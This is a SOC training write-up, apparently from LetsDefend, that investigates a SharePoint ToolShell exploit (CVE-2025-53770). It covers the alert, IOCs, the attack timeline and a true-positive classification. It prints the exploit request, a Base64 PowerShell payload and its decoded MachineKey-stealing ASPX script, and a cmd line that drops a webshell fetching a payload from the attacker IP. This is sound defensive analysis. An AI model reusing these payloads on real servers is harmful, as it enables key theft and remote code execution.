Skip to main content

SOC342 - CVE-2025-53770 SharePoint ToolShell Auth Bypass and RCE

Severity: Critical   Type: SOC Alert

Alert Scenario​

In this SOC alert on LetsDefend, we investigate a critical zero-day vulnerability named ToolShell (CVE-2025-53770) that has been discovered in on-premises SharePoint Server deployments. The alert triggers on malicious network traffic originating from 107.191.58.76 and directed at our SharePoint server 172.16.20.17. Our objective is to verify if the attacker successfully exploited the server, identify the attack chain involving CVE-2025-49706 (Authentication Bypass) and CVE-2025-49704 (Deserialization), and determine the extent of the compromise.

Investigation​

Gathering Initial IOCs from the Alert​

The alert gives us initial network details:

  • Source IP: 107.191.58.76
  • Destination IP: 172.16.20.17
  • Endpoint: SharePoint01 (Windows Server 2019)

We start by analyzing the raw log from the proxy, which shows a suspicious POST request made to /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx on Jul 22, 2025, 01:07 PM.

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: 107.191.58.76
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx

  Alert Log Details  

Raw Proxy Log details showing the initial exploit request.

Threat Intelligence & External Footprinting​

A search for the source IP 107.191.58.76 on VirusTotal, Talos Intelligence, and AbuseIPDB confirms that it is a known malicious IP associated with recent exploitation attempts.

  VirusTotal IP Report  

VirusTotal results for the attacker's IP address.

Vulnerability Details - ToolShell (CVE-2025-53770)

The attack chain for CVE-2025-53770 involves two critical vulnerabilities:

  1. CVE-2025-49706 - Authentication Bypass: A crafted POST request targeting the endpoint /_layouts/15/ToolPane.aspx with a spoofed Referer manipulates SharePoint into trusting the request.
  2. CVE-2025-49704 - Deserialization Vulnerability: The attacker sends a serialized payload to extract MachineKey values from web.config, ultimately gaining Remote Code Execution (RCE).

Examining Endpoint Activity (Process and Terminal History)​

Since the exploit targets a vulnerability leading to RCE, we pivot to Endpoint Security to investigate SharePoint01. Examining the Process and Terminal histories provides conclusive evidence of a successful compromise.

  Endpoint Terminal History  

Terminal history revealing the dropped webshell and post-exploitation commands.

The endpoint logs reveal the following malicious activities:

  1. PowerShell Base64 Payload (13:07:24): The attacker executed an obfuscated PowerShell command containing a Base64 encoded payload:

    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg==

    Decoding this reveals a C# script designed to dynamically load System.Web and invoke GetApplicationConfig to extract IIS MachineKey values (ValidationKey and DecryptionKey):

    <%@ Import Namespace="System.Diagnostics" %>
    <%@ Import Namespace="System.IO" %>
    <script runat="server" language="c#" CODEPAGE="65001">
        public void Page_load()
        {
            var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
            var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
            var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
            var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
            Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
        }
    </script>

  2. Compilation of a Payload (13:07:27): The attacker compiled a C# based payload on the server using csc.exe:

    csc.exe /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs

  3. Webshell Dropped (13:07:29): A web shell named spinstall0.aspx was dropped for persistence using cmd.exe:

    "C:\Windows\System32\cmd.exe" /c echo [form runat="server"] [object classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"][param name="Command" value="Redirect"] [param name="Button" value="Test"] [param name="Url" value="http://107.191.58.76/payload.exe"][/object][/form] > "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx"

  4. Information Disclosure (13:07:34): The attacker verified access to the MachineKey configuration via PowerShell:

    powershell.exe -Command "[System.Web.Configuration.MachineKeySection]::GetApplicationConfig()"

  Endpoint Process History  

Endpoint process history confirming malicious command execution.

Webshell Analysis​

The dropped webshell spinstall0.aspx is a known IOC in the ToolShell attack chain. The file's MD5 hash is 02b4571470d83163d103112f07f1c434. A quick search on VirusTotal reveals that it is flagged by 44 vendors as malicious.

  VirusTotal Webshell Report  

VirusTotal results identifying the dropped webshell.

TRUE POSITIVE

The presence of malicious POST requests matching the CVE-2025-53770 pattern, combined with subsequent payload compilation (csc.exe), webshell creation (spinstall0.aspx), and PowerShell execution to extract MachineKeys, confirms that the attack was successful. This is a True Positive and the endpoint SharePoint01 is compromised.

Classification and Closure​

Based on the analysis, this is a critical true positive alert. The threat actor successfully bypassed authentication and achieved RCE on our on-premises SharePoint server. We classify and close the case as follows:

  • Was the Attack Successful?: Yes
  • What Is the Direction of Traffic?: Internet -> Company Network
  • Check If It Is a Planned Test: No
  • What Is The Attack Type?: Exploit / RCE
  • Is Traffic Malicious?: Yes
  • Answer: True Positive

MITRE ATT&CK Timeline​

Tactic              Technique                                
Initial Access      T1190 – Exploit Public-Facing Application
Execution            T1059.001 – PowerShell                    
Execution            T1059.003 – Windows Command Shell        
Persistence          T1505.003 – Web Shell                    
Defense Evasion      T1027 – Obfuscated Files or Information    
Credential Access    T1552 – Unsecured Credentials            

Artefacts​

IOC Type          Value                                            Description                                                          
Source IP          107.191.58.76                                    Attacker IP addressing the exploit payload.                          
Destination IP    172.16.20.17                                  Target SharePoint01 IP address.                                      
HTTP Request      /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspxVulnerable endpoint exploited for authentication bypass.
Dropped File      spinstall0.aspx                                Malicious webshell dropped for persistence.                          
File MD5          02b4571470d83163d103112f07f1c434              Hash of the spinstall0.aspx webshell.                                
Artifact          C:\Windows\Temp\payload.exe                    Compiled executable payload.                                        

Attack Timeline Summary​

Time (Jul 22, 2025)Event                                                        
01:07:00 PM        Threat actor initiates Auth Bypass request (CVE-2025-49706).
01:07:24 PM        Attacker executes Base64 encoded PowerShell script to extract MachineKeys.
01:07:27 PM        Attacker compiles payload on the server using csc.exe.    
01:07:29 PM        Webshell spinstall0.aspx dropped in the LAYOUTS directory via cmd.exe.
01:07:34 PM        Attacker executes PowerShell to extract IIS MachineKeys (verification).

References​